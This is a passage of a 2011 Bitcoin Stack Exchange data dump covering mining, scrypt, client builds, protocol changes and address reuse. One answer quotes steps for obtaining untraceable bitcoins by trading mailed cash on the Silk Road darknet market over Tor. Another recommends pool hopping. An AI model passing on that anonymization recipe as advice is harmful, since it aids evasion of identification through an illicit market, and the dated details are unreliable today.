  <row Id="1297" PostTypeId="2" ParentId="1265" CreationDate="2011-09-29T10:31:47.023" Score="12" Body="&lt;p&gt;It's worth noting that bitcoins would have no value if it weren't for speculation.  When Satoshi first released the client, those who put their electricity and computing resources towards mining bitcoins were speculating that the value would rise from zero, and that the coins would be accepted as payment by someone else.  Those who first accepted bitcoin payments, likewise, were speculating that the value would remain above zero, and continue to be accepted by others, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also worth noting that Bitcoin would likely not have received the amount of attention that it has if not for people speculating that the value would rise tremendously and buying coins in large quantities.  This attention has brought in more users, developers, and businesses, thus increasing the health of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If speculation does hurt Bitcoin in some ways, it's at the very worst a necessary evil.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2011-09-29T10:31:47.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1298" PostTypeId="2" ParentId="594" CreationDate="2011-09-29T21:01:38.383" Score="1" Body="&lt;p&gt;Solo is more profitable in the long run for the reasons David stated.  And if you do the math, you will see it is independent of hashrate.  Only variance is higher.  But you should consider pool hopping as well for maximum profit.  By always mining at the pool with the currently highest projected share price for the next block, you will earn even more than you would mining solo.&lt;/p&gt;&#xA;" OwnerUserId="513" LastActivityDate="2011-09-29T21:01:38.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1299" PostTypeId="1" AcceptedAnswerId="1379" CreationDate="2011-09-30T00:23:41.227" Score="8" ViewCount="599" Body="&lt;p&gt;Miners, did the new Catalyst version 11.9 fix 100% CPU usage issue for you? what's the best version of Catalyst to use for mining?&lt;/p&gt;&#xA;" OwnerUserId="74" LastEditorUserId="5406" LastEditDate="2016-01-27T16:44:54.657" LastActivityDate="2016-01-27T16:44:54.657" Title="Miners, did Catalyst version 11.9 fix CPU usage issue for you?" Tags="|cpu-mining|miner-configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1300" PostTypeId="2" ParentId="1299" CreationDate="2011-09-30T10:19:29.290" Score="0" Body="&lt;p&gt;I still get 100% cpu when with Catalyst 11.9 when I use the -f1 flag on poclbm. I fixed it by bumping up to -f4, which gives me a slightly higher hash rate than the -f6 I had to use previously to fix cpu usage. &lt;/p&gt;&#xA;" OwnerUserId="134" LastActivityDate="2011-09-30T10:19:29.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1301" PostTypeId="1" AcceptedAnswerId="1302" CreationDate="2011-09-30T10:23:34.877" Score="10" ViewCount="202" Body="&lt;p&gt;I just installed the v0.4 client and have a bug to report... where can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you could also describe how to check if the bug has been reported already, that would be great too.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2011-10-03T03:12:45.800" Title="How do I report a bug in the Bitcoin client application?" Tags="|client|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1302" PostTypeId="2" ParentId="1301" CreationDate="2011-09-30T10:54:58.137" Score="8" Body="&lt;p&gt;You can use the issues page on github. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues?state=open&quot;&gt;https://github.com/bitcoin/bitcoin/issues?state=open&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also search through the issues to see if yours is already reported.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2011-09-30T10:54:58.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1303" PostTypeId="2" ParentId="336" CreationDate="2011-09-30T14:01:43.350" Score="10" Body="&lt;p&gt;Bitcoin is a mathematically secured currency system which enables ultra low fee internet commerce using coins and fractions of coins which are in some ways similar to traditional cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Acting something like a shared accounting ledger, the record of all transactions is stored in a semi-anonymous way within the network of bitcoin participants.  This means that there is no company, government or authority with whom you need to identify yourself and open an account. Simply running the software provides an initially empty wallet on your device which can receive Bitcoin from any other Bitcoin user - and can also easily be loaded via Bitcoin exchanges operating in many countries and accepting various currencies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issuing of coins into the system occurs via computers specifically set up to process transactions and assist in securing the network. Commonly referred to as 'mining' - this is open to anyone, but requires additional computer hardware and incurs electricity costs.&#xA;Issuance occurs at an ever decreasing rate, topping out at around 21 Million full coins some time well after 2030. As coins can be traded even in tiny fractions, this allows more than enough to go around, no matter what size the economy they are a part of. Products and services may ultimately be priced in hundredths or thousandths of a bitcoin if ever the scale of the bitcoin economy warrants it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Hmm - concise is hard. Maybe the 1st 2 paragraphs as intro is enough though.)&lt;/p&gt;&#xA;" OwnerUserId="253" LastEditorUserId="54178" LastEditDate="2017-10-22T14:42:21.920" LastActivityDate="2017-10-22T14:42:21.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1304" PostTypeId="2" ParentId="1293" CreationDate="2011-09-30T15:07:25.460" Score="4" Body="&lt;p&gt;turns out it is ~3385 integer operations per bitcoin hash&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=7964.msg550288#msg550288&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=7964.msg550288#msg550288&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="257" LastEditDate="2011-09-30T15:15:08.197" LastActivityDate="2011-09-30T15:15:08.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1305" PostTypeId="1" AcceptedAnswerId="1307" CreationDate="2011-09-30T18:59:58.273" Score="10" ViewCount="6914" Body="&lt;p&gt;There's a fork of Bitcoin called &lt;a href=&quot;https://bitcointalk.org/index.php?topic=45667.0&quot;&gt;Tenebrix&lt;/a&gt; that is claiming to be CPU-friendly and GPU-resistant (with regard to mining). They say that this is because they're using scrypt instead of SHA256. From what I'm reading, scrypt seems similar to bcrypt or PBKDF2 in that it's just a multi-round scheme. If it's simply more rounds of something that's already faster on GPU than CPU then wouldn't N rounds &lt;em&gt;still&lt;/em&gt; be faster on GPU than CPU or am I missing something inherent to scrypt that ruins GPU efficiency?&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="5406" LastEditDate="2016-02-01T09:24:07.443" LastActivityDate="2016-02-01T09:24:07.443" Title="What features of scrypt() make Tenebrix GPU-resistant?" Tags="|proof-of-work|scrypt|mining-theory|tenebrix|asic-resistance|" AnswerCount="5" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="1306" PostTypeId="2" ParentId="1305" CreationDate="2011-09-30T19:13:18.833" Score="1" Body="&lt;p&gt;I think I may have &lt;a href=&quot;https://crypto.stackexchange.com/questions/400/why-cant-one-implement-bcrypt-in-cuda/401#401&quot;&gt;located my own answer&lt;/a&gt; (on a different StackExchange beta even!) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer to question &quot;&lt;a href=&quot;https://crypto.stackexchange.com/questions/400/why-cant-one-implement-bcrypt-in-cuda&quot;&gt;Why can't one implement bcrypt in Cuda?&lt;/a&gt;&quot; seems similar enough to apply to scrypt/OpenCL as well (since they're basically the same technologies with different names) but I'd like verification from someone with a hair more crypto knowledge than myself. Here's the accepted answer from the other question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is not impossible, only harder. This is because of RAM. In a GPU,&#xA;  you have a number of cores which can do 32-bit operations. They will&#xA;  run at one operation per cycle and per core, as long as they operate&#xA;  on their respective registers. RAM access, however, is more&#xA;  troublesome. Each group of cores has access to a small amount of&#xA;  shared RAM, and all cores can read and write the GPU main RAM, but&#xA;  there are access restrictions: not all cores can read from or write to&#xA;  RAM simultaneously (constraints are stricter for main RAM).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Now bcrypt is a variant of the Blowfish key scheduling, which is&#xA;  defined over a table (a few kilobytes) which is constantly accessed&#xA;  and modified throughout the algorithm. Due to the size of the table,&#xA;  each core will have to store it in the GPU main RAM, and they will&#xA;  compete for usage of the memory bus. So bcrypt will run -- but not&#xA;  with full parallelism. At any time, most cores will be stalled,&#xA;  waiting for the memory bus to become free. This comes from the type of&#xA;  elementary operation bcrypt consists in, not from the fact that bcrypt&#xA;  is derived from the key schedule of a block cipher.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For SHA-1 or SHA-256, computation entirely consists in 32-bit&#xA;  operations on a handful of registers, so a password cracker will run&#xA;  without doing any memory access at all, and full parallelism is easily&#xA;  achieved (I did it on my GeForce 9800 GTX+, and I got about 98% of the&#xA;  theoretical maximum speed with a straightforward unrolled SHA-1&#xA;  implementation).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For details on the programming model in CUDA, have a look at the CUDA&#xA;  C Programming Guide. Also, the author of bcrypt now proposes scrypt,&#xA;  which is even heavier on the memory accesses, exactly so that&#xA;  implementation is hard on GPU and FPGA.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2011-09-30T19:13:18.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1307" PostTypeId="2" ParentId="1305" CreationDate="2011-09-30T20:10:38.060" Score="15" Body="&lt;p&gt;The scrypt() algorithm has at its core a routine called ROMmix.  Basically, it defines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  V(1) = hash(message)&#xA;  V(2) = hash(hash(message))&#xA;  V(3) = hash(hash(hash(message)))&#xA;  ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it calculates&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  V(V(V(V(...(message))))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since computing V(n+1) requires computing V(n) first, &lt;strong&gt;the most efficient way to do this is to cache all of the previously-computed values&lt;/strong&gt;.  Once you've generated a large enough table, the V(V(V(...))) is just a bunch of lookups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caching all the previously computed values requires lots of memory, and since each lookup depends on the previous one it's sensitive to memory latency (although if you're mining you can work on several blocks in parallel and pipeline the requests to get around this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GPUs can perform far more integer operations per second than a normal CPU, but have roughly the same memory bandwidth/latency as a CPU.  So &lt;strong&gt;an algorithm that is memory-dominated should &quot;level the playing field&quot; between CPUs and GPUs.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still don't understand why the Tenebrix folks consider this to be an important goal.  It just &quot;equalizes&quot; GPUs and CPUs, but you can still build custom hardware that does scrypt() much faster and cheaper than a CPU.  So it's just going from &quot;GPUs are best&quot; to &quot;custom printed circuit boards covered in memory buses are best&quot;.  Nobody's been able to explain why this change is worth all the trouble.&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2011-09-30T20:10:38.060" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1308" PostTypeId="2" ParentId="52" CreationDate="2011-09-30T20:22:02.960" Score="9" Body="&lt;p&gt;There are ways to acquire and use Bitcoins anonymously. &lt;a href=&quot;http://mndrix.blogspot.com/2011/09/easily-anonymous-bitcoins.html&quot;&gt;This article&lt;/a&gt; for example states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;install Tor and use it for all subsequent browsing steps&lt;/li&gt;&#xA;  &lt;li&gt;visit Instawallet to anonymously create a Bitcoin wallet&lt;/li&gt;&#xA;  &lt;li&gt;List $100 cash for sale on Silk Road Market&lt;/li&gt;&#xA;  &lt;li&gt;Mail the cash through any US Postal Service drop box&lt;/li&gt;&#xA;  &lt;li&gt;When the Silk Road bitcoin payment arrives, withdraw it to your Instawallet&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;You can now spend Bitcoins from this Instawallet with complete anonymity.  Instawallet doesn't know who you are (because of Tor).  Silk Road doesn't know who you are (because of Tor).  The USPS doesn't know who you are (anonymous drop boxes).  The person who sold you Bitcoins doesn't know who you are (anonymous US mail).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="153" LastEditorUserId="4525" LastEditDate="2013-04-20T16:03:22.950" LastActivityDate="2013-04-20T16:03:22.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1309" PostTypeId="1" AcceptedAnswerId="1310" CreationDate="2011-09-30T20:22:32.510" Score="13" ViewCount="657" Body="&lt;p&gt;There have been suggestions that various bitcoin protocol rules (max block size, mining reward policy, etc) could be changed in the future by everybody &quot;agreeing to update their client&quot;.  The logistics of this are somewhat questionable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1207/what-happens-if-the-developers-make-a-controversial-change-to-the-standard-clie&quot;&gt;Another question&lt;/a&gt; asked about the mechanics of such a change in the situation where people object to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I would like to know if there is any recent precedent for this that we could examine.&lt;/strong&gt;  Specifically: have there ever been any changes to the official client version Y that would cause client version X to reject its blocks, where X &amp;lt; Y?  If so, what is the most recent such case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect there were probably a bunch of changes like this back in the early days when only a few dozen people were using bitcoin.  It would be interesting to know if it's happened more recently.&lt;/p&gt;&#xA;" OwnerUserId="405" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-12-10T17:42:46.870" Title="What was the most recent change to the official client that broke block validity?" Tags="|blockchain|protocol|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1310" PostTypeId="2" ParentId="1309" CreationDate="2011-09-30T20:59:15.687" Score="12" Body="&lt;p&gt;The last changes I'm aware of that would cause a blockchain split were in August 2010, after the overflow bug; see, for example, &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/4bd188c4383d6e614e18f79dc337fbabe8464c82&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/commit/4bd188c4383d6e614e18f79dc337fbabe8464c82&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there have been any changes to the block or transaction validity rules since, although it is very possible I'm forgetting something.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2011-09-30T20:59:15.687" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1311" PostTypeId="2" ParentId="1272" CreationDate="2011-09-30T21:17:17.480" Score="10" Body="&lt;p&gt;Easiest way I can think of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use up all of the addresses in the keypool by requesting 100 new addresses. If you're comfortable in the command-line on Mac or Linux:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in {1..100}; do bitcoind getnewaddress; done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then perform a bunch of sends-to-self using MORE freshly-generated addresses. Again, if you're comfortable on the command line and had (say) 10 bitcoins in your wallet you wanted to send in 10 different transactions over the course of an hour you might do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in {1..10}; do bitcoind sendtoaddress $(bitcoind getnewaddress) 1; sleep 360; done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This wallet will still get coins sent to the old addresses, although if somebody at work DID have a copy they could also spend coins that came in to the old addresses.  There's not much you can do about that.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2011-09-30T21:17:17.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1312" PostTypeId="2" ParentId="793" CreationDate="2011-09-30T21:31:34.533" Score="7" Body="&lt;p&gt;The easiest way to build on a Mac is to use macports. It is much easier with the latest git HEAD, which includes the nice new Qt GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work with latest git:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download and install Apple's Xcode developer SDK stuff (I assume you already have)&lt;/li&gt;&#xA;&lt;li&gt;Install MacPorts from &lt;a href=&quot;http://www.macports.org/&quot;&gt;http://www.macports.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;sudo port install qt4-mac boost db48 dbus openssl&lt;/li&gt;&#xA;&lt;li&gt;From the top of the bitcoin source tree:  cd contrib/miniupnpc; sudo port install&lt;/li&gt;&#xA;&lt;li&gt;At the top of the bitcoin source tree, run:  qmake; make&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should end up with the Bitcoin Qt.app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To compile bitcoind, edit src/makefile.osx and set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DEPSDIR=/opt/local&#xA;INCLUDEPATHS= \&#xA; -I&quot;$(DEPSDIR)/include&quot; \&#xA; -I&quot;$(DEPSDIR)/include/db48&quot;&#xA;&#xA;LIBPATHS= \&#xA; -L&quot;$(DEPSDIR)/lib&quot; \&#xA; -L&quot;$(DEPSDIR)/lib/db48&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Updating makefile.osx and the build instructions is on my TODO list for the 0.5 release (if you want to volunteer to submit a patch....)&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2011-09-30T21:31:34.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1313" PostTypeId="2" ParentId="1309" CreationDate="2011-10-01T00:03:35.763" Score="8" Body="&lt;p&gt;I guess I misread the question there--Gavin is right that &lt;strong&gt;the overflow bug of August 2010 is the only time the &lt;em&gt;block chain&lt;/em&gt; has been affected.&#xA;But in regards to the question of precedent for everybody agreeing to update their client, we do have some pretty good examples that are worth mentioning.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take the situation with transaction fees, for example.  Up until a few months ago, the Bitcoin client contained a .01 btc minimum transaction fee.  In the early days this was nearly negligible, but as the exchange rate rose it started to be a pretty hefty chunk of change, especially since it was required on any transaction of less than .01 btc.  Miners were allowed to include any transactions they wanted in their own blocks (and some did) but since the majority of the network would not forward transactions with insufficient fees (and the default client wouldn't even allow you to send the transaction) it was impractical for normal users to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you couldn't simply release a new client with lower minimum fees, because the transactions it produced wouldn't be forwarded by the rest of the network.  &lt;strong&gt;This was a very similar chicken-and-egg problem to what you mention in your first paragraph&lt;/strong&gt;.  So instead of just abruptly changing the rules, an intermediate release was first made that would forward the lower-fee transactions, but not create them.  Once that release obtained sufficiently wide adoption that these transactions could be used normally, a second release added the ability to actually send the transactions, and everything worked like clockwork.  &lt;strong&gt;The same one-two model of compatibility-breaking releases could be used for virtually any needed change to the client&lt;/strong&gt;:  first release a version that supports the change passively, and wait to see if it achieves sufficient adoption.  If it does, release the version that makes the change live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For emergency situations, however, the overflow bug of August 2010 is an excellent model.&lt;/strong&gt;  An exploit was found that allowed someone to insert a fraudulent transaction into the block chain itself, so obviously any future versions had to disregard that version of events.  The previous versions, meanwhile, would (accurately) view this disregarding as an attempt to fork the block chain. You can view a more detailed overview of that incident &lt;a href=&quot;https://en.bitcoin.it/wiki/Incidents#Value_overflow&quot;&gt;here&lt;/a&gt;.  &lt;strong&gt;The exploit was noticed almost immediately, publicised, and a fix was written within hours.&lt;/strong&gt;  The vast majority of users updated their clients very quickly(especially the miners, vital to making the new fork succeed), and the new block chain fork quickly surpassed the old--bringing all the valid transactions from before with it.  &lt;strong&gt;And disaster was averted&lt;/strong&gt; in clockwork fashion (there were a &lt;em&gt;lot&lt;/em&gt; more than just a few dozen people using Bitcoin by this point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;strong&gt;we end up with some pretty clear precedents for both malicious action that requires an immediate response; and adjustments to the quality and usability of the network that require consensus&lt;/strong&gt;.  I'd say the idea that people can simply agree to update their client if a change is needed has a pretty firm footing.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2011-10-01T00:03:35.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1314" PostTypeId="2" ParentId="793" CreationDate="2011-10-01T00:36:13.153" Score="9" Body="&lt;p&gt;If you just want to build Bitcoind once then Gavin's method seems like the most straight forward. If you want to develop for Bitcoin it's worth setting up an Xcode project.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a blank Xcode project in your bitcoin root directory.&lt;/li&gt;&#xA;&lt;li&gt;Create a new target called bitcoind&lt;/li&gt;&#xA;&lt;li&gt;Drag all the files from the src folder into Xcode, make sure you have bitcoin selected in add to targets.&lt;/li&gt;&#xA;&lt;li&gt;Remove the README, Makefiles and any other none .h .cpp &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Add &quot;./deps/include&quot; to &quot;Header search paths&quot;&#xA;Add &quot;./deps/lib&quot; to &quot;Library Search Paths&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tR9gt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add libssl and libcrypto to your linker flags (The system ones should work fine)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wQxrI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Build phases add the required libraries. Should look something like this (excluding the mysql libs)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xod4a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what version of Xcode your using You might need to change the Default compile to gcc as clang seems to have problems with cryptopp, or you can just move cryptopp to deps and import the .a.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies I cannot be more precise, I did write down instructions at the time but i seem to have lost them. You can build for 10.6 &amp;amp; 10.7 with no changes required other than setting the SDK in Xcode.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorDisplayName="user418" LastEditDate="2011-10-01T00:41:42.597" LastActivityDate="2011-10-01T00:41:42.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1315" PostTypeId="1" CreationDate="2011-10-01T04:38:55.513" Score="11" ViewCount="672" Body="&lt;p&gt;The pool I am with has sent about twenty transactions to one address I gave as a 'send to' addy. Could this one address just go on and on taking more and more of these transactions? A hundred of them? Ten thousand?&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2011-10-01T08:14:16.777" Title="Is there a recommended maximum number of transactions any one address should ever receive?" Tags="|transactions|wallet|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1316" PostTypeId="2" ParentId="1315" CreationDate="2011-10-01T07:35:24.847" Score="8" Body="&lt;p&gt;You can use it as many times as you like. There is no upper limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason that people advocate using new addresses is that it increases anonymity. For example, people who know your address can easily look up how much has been sent to it in total. See these questions for some more info on anonymity:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/52/how-anonymous-are-bitcoin-transactions&quot;&gt;How anonymous are Bitcoin transactions?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/439/how-can-one-remain-relatively-anonymous-while-using-bitcoin&quot;&gt;How can one remain relatively anonymous while using Bitcoin?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="105" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-10-01T07:43:11.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1317" PostTypeId="2" ParentId="1315" CreationDate="2011-10-01T08:14:16.777" Score="5" Body="&lt;p&gt;Though there is no limit on the number of transaction received, you might run into trouble when you try to spend the bitcoins that you've received. As &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#How_much_will_the_transaction_fee_be.3F&quot; rel=&quot;nofollow&quot;&gt;stated here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Because the fee is related to the amount of data that makes up the&#xA;  transaction and not to the amount of bitcoins being sent, the fee may&#xA;  seem extremely low (0.0005 BTC for a 1,000 BTC transfer) or unfairly&#xA;  high (0.004 BTC for a 0.02 BTC payment, or about 20%). If you are&#xA;  receiving tiny amounts (e.g., as small payments from a mining pool)&#xA;  then fees when sending will be higher than if your activity follows a&#xA;  more normal consumer or business transaction pattern.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Others have mentioned that there is no need for a transaction fee to be paid, though you might have to wait a little longer for your transaction to be included in a block (DeepBit was given as an example). However, I've also heard that the Bitcoin Client application (older versions anyway) specifies a minimum transaction fee, which seems to be supported by the above quoted text.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2011-10-01T08:14:16.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1318" PostTypeId="1" CreationDate="2011-10-01T14:13:30.210" Score="3" ViewCount="671" Body="&lt;p&gt;I saw too many questions about bitcoin losing value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in my view, &lt;a href=&quot;https://bitcoin.stackexchange.com/a/162/659&quot;&gt;21 million&lt;/a&gt; bitcoins is relatively less money (&lt;em&gt;ie.&lt;/em&gt;, units) than other currencies. Why wouldn't Bitcoin's value rise simply due to supply/demand when it is used more widely?&lt;/p&gt;&#xA;" OwnerUserId="491" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-03-13T18:46:25.563" Title="Could speculation some day rise bitcoin to the moon?" Tags="|currencies|user-base|future-proof|value|speculation|" AnswerCount="2" CommentCount="6" FavoriteCount="0" ClosedDate="2011-10-03T09:10:40.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="1319" PostTypeId="1" AcceptedAnswerId="1325" CreationDate="2011-10-01T16:47:06.867" Score="36" ViewCount="18554" Body="&lt;p&gt;Is there any point to casual mining anymore? I recently discovered bitcoin and was wondering if there was any point to running mining software on my laptop while I work on essays or other non-computationally intensive task. I tried looking around, but answers seem conflicted on if casual mining is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean will I get any bitcoins from it, not is it profitable per unit cost of electricity. Will I get anything in a reasonable timeframe or is that now a thing of the past? By anything I mean, the silly 0.1BTC I see stuff put up for on &lt;a href=&quot;http://forbitcoin.com&quot;&gt;http://forbitcoin.com&lt;/a&gt; and such, not hundreds of dollars to supplement my income.&lt;/p&gt;&#xA;" OwnerUserId="520" LastEditorUserId="5406" LastEditDate="2016-01-20T21:03:30.883" LastActivityDate="2016-01-20T21:03:30.883" Title="Is there any point to casual mining?" Tags="|mining-profitability|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1320" PostTypeId="2" ParentId="1318" CreationDate="2011-10-01T18:12:38.563" Score="5" Body="&lt;p&gt;Because there is no guarantee that bitcoin will be in demand in the future.  Here's an example, in a recent Gawker article they put &quot;(RIP)&quot; when naming Bitcoin .. as if it had died. &lt;a href=&quot;http://www.gizmodo.com.au/2011/09/is-digital-money-the-new-way-to-buy-drugs&quot; rel=&quot;nofollow&quot;&gt;http://www.gizmodo.com.au/2011/09/is-digital-money-the-new-way-to-buy-drugs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the existing $35 million or so valuation of the currency come from those speculating that the value of the currency will at some point in the future buy more than it will today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether or not this will be a stratospheric rise nobody knows but it isn't unprecedented, just not typical nor expected by most.  But there are those, such as Rick Falvinge, who believe it.  Rick describes his thoughts here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://falkvinge.net/2011/06/16/bitcoins-four-drivers-part-one-unlawful-trade&quot; rel=&quot;nofollow&quot;&gt;http://falkvinge.net/2011/06/16/bitcoins-four-drivers-part-one-unlawful-trade&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://falkvinge.net/2011/06/18/bitcoins-four-drivers-part-two-international-trade&quot; rel=&quot;nofollow&quot;&gt;http://falkvinge.net/2011/06/18/bitcoins-four-drivers-part-two-international-trade&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://falkvinge.net/2011/07/03/bitcoins-four-drivers-part-3-merchant-trade&quot; rel=&quot;nofollow&quot;&gt;http://falkvinge.net/2011/07/03/bitcoins-four-drivers-part-3-merchant-trade&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://falkvinge.net/2011/07/05/bitcoins-four-drivers-part-4-investment&quot; rel=&quot;nofollow&quot;&gt;http://falkvinge.net/2011/07/05/bitcoins-four-drivers-part-4-investment&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" 